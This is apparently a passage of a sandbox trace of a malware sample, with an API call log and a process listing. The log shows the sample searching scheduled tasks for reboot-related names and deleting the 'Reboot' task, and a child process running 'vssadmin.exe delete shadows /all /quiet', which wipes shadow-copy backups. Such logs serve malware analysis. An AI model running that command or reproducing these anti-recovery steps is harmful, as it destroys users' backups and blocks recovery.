	[0085.178] IUnknown:QueryInterface (in: This=0x19c260, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19c260) returned 0x0
	[0085.178] IExecAction:get_Path (in: This=0x19c260, pPath=0x43af85c | out: pPath=0x43af85c*="%systemroot%\\system32\\MusNotification.exe") returned 0x0
	[0085.178] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x54) returned 0x285a838
	[0085.178] wcsstr (_Str="%systemroot%\\system32\\musnotification.exe", _SubStr="reboot") returned 0x0
	[0085.178] wcsstr (_Str="%systemroot%\\system32\\musnotification.exe", _SubStr="restart") returned 0x0
	[0085.178] wcsstr (_Str="%systemroot%\\system32\\musnotification.exe", _SubStr="shutdown") returned 0x0
	[0085.178] wcsstr (_Str="%systemroot%\\system32\\musnotification.exe", _SubStr="logoff") returned 0x0
	[0085.178] wcsstr (_Str="%systemroot%\\system32\\musnotification.exe", _SubStr="back") returned 0x0
	[0085.178] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285a838) returned 1
	[0085.178] IExecAction:get_Arguments (in: This=0x19c260, pArgument=0x43af858 | out: pArgument=0x43af858*="Display") returned 0x0
	[0085.178] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b2e0
	[0085.178] wcsstr (_Str="display", _SubStr="reboot") returned 0x0
	[0085.178] wcsstr (_Str="display", _SubStr="restart") returned 0x0
	[0085.178] wcsstr (_Str="display", _SubStr="shutdown") returned 0x0
	[0085.178] wcsstr (_Str="display", _SubStr="logoff") returned 0x0
	[0085.178] wcsstr (_Str="display", _SubStr="back") returned 0x0
	[0085.178] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b2e0) returned 1
	[0085.178] IUnknown:Release (This=0x19c260) returned 0x2
	[0085.178] IUnknown:Release (This=0x19c260) returned 0x1
	[0085.178] IUnknown:Release (This=0x19ae48) returned 0x1
	[0085.178] IUnknown:Release (This=0x19ab98) returned 0x0
	[0085.178] IUnknown:Release (This=0x19c180) returned 0x0
	[0085.178] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0085.178] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Policy Install") returned 0x0
	[0085.178] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0085.179] IUnknown:Release (This=0x19c180) returned 0x0
	[0085.179] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0085.179] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Reboot") returned 0x0
	[0085.179] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0085.180] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b478
	[0085.180] wcsstr (_Str="reboot", _SubStr="reboot") returned="reboot"
	[0085.180] IRegisteredTask:put_Enabled (This=0x19c180, Enabled=0) returned 0x0
	[0085.196] ITaskFolder:DeleteTask (This=0x19ad48, Name="Reboot", flags=0) returned 0x0
	[0089.460] IUnknown:Release (This=0x19c180) returned 0x0
	[0089.460] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0089.460] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Refresh Settings") returned 0x0
	[0089.460] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0089.509] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878278
	[0089.509] wcsstr (_Str="refresh settings", _SubStr="reboot") returned 0x0
	[0089.509] wcsstr (_Str="refresh settings", _SubStr="restart") returned 0x0
	[0089.509] wcsstr (_Str="refresh settings", _SubStr="shutdown") returned 0x0
	[0089.509] wcsstr (_Str="refresh settings", _SubStr="logoff") returned 0x0
	[0089.509] wcsstr (_Str="refresh settings", _SubStr="back") returned 0x0
	[0089.509] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878278) returned 1
	[0089.509] IRegisteredTask:get_Definition (in: This=0x19c180, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9b8) returned 0x0
	[0093.839] ITaskDefinition:get_Actions (in: This=0x19a9b8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ae48) returned 0x0
	[0093.839] IActionCollection:get_Count (in: This=0x19ae48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0093.839] IActionCollection:get_Item (in: This=0x19ae48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd18) returned 0x0
	[0093.839] IAction:get_Type (in: This=0x19bd18, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0093.839] IUnknown:QueryInterface (in: This=0x19bd18, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bd18) returned 0x0
	[0093.839] IExecAction:get_Path (in: This=0x19bd18, pPath=0x43af85c | out: pPath=0x43af85c*="%systemroot%\\system32\\usoclient.exe") returned 0x0
	[0093.839] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x2894a10
	[0093.839] wcsstr (_Str="%systemroot%\\system32\\usoclient.exe", _SubStr="reboot") returned 0x0
	[0093.839] wcsstr (_Str="%systemroot%\\system32\\usoclient.exe", _SubStr="restart") returned 0x0
	[0093.839] wcsstr (_Str="%systemroot%\\system32\\usoclient.exe", _SubStr="shutdown") returned 0x0
	[0093.839] wcsstr (_Str="%systemroot%\\system32\\usoclient.exe", _SubStr="logoff") returned 0x0
	[0093.839] wcsstr (_Str="%systemroot%\\system32\\usoclient.exe", _SubStr="back") returned 0x0
	[0093.839] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894a10) returned 1
	[0093.839] IExecAction:get_Arguments (in: This=0x19bd18, pArgument=0x43af858 | out: pArgument=0x43af858*="RefreshSettings") returned 0x0
	[0093.839] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289af38
	[0093.839] wcsstr (_Str="refreshsettings", _SubStr="reboot") returned 0x0
	[0093.839] wcsstr (_Str="refreshsettings", _SubStr="restart") returned 0x0
	[0093.839] wcsstr (_Str="refreshsettings", _SubStr="shutdown") returned 0x0
	[0093.839] wcsstr (_Str="refreshsettings", _SubStr="logoff") returned 0x0
	[0093.839] wcsstr (_Str="refreshsettings", _SubStr="back") returned 0x0
	[0093.839] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af38) returned 1
	[0093.839] IUnknown:Release (This=0x19bd18) returned 0x2
	[0093.839] IUnknown:Release (This=0x19bd18) returned 0x1
	[0093.839] IUnknown:Release (This=0x19ae48) returned 0x1
	[0093.839] IUnknown:Release (This=0x19a9b8) returned 0x0
	[0093.840] IUnknown:Release (This=0x19c180) returned 0x0
	[0093.840] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0093.840] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Resume On Boot") returned 0x0
	[0093.840] IRegisteredTask:get_State (This=0x19c180, pState=0x43af864) 

Process:
	id = "4"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x60a4e000"
	os_pid = "0x774"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xd20"
	cmd_line = "C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 8
	os_tid = 0xd54


Thread:
	id = 17
	os_tid = 0x88c


Thread:
	id = 18
	os_tid = 0x5b8


Thread:
	id = 19
	os_tid = 0x724


Thread:
	id = 20
	os_tid = 0x7d8


Process:
	id = "5"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x184b4000"
	os_pid = "0xd94"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x774"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 12
	os_tid = 0xc3c


Thread:
	id = 13
	os_tid = 0xdec


Thread:
	id = 14
	os_tid = 0xddc


Thread:
	id = 15
	os_tid = 0xa10


Thread:
	id = 16
	os_tid = 0xbdc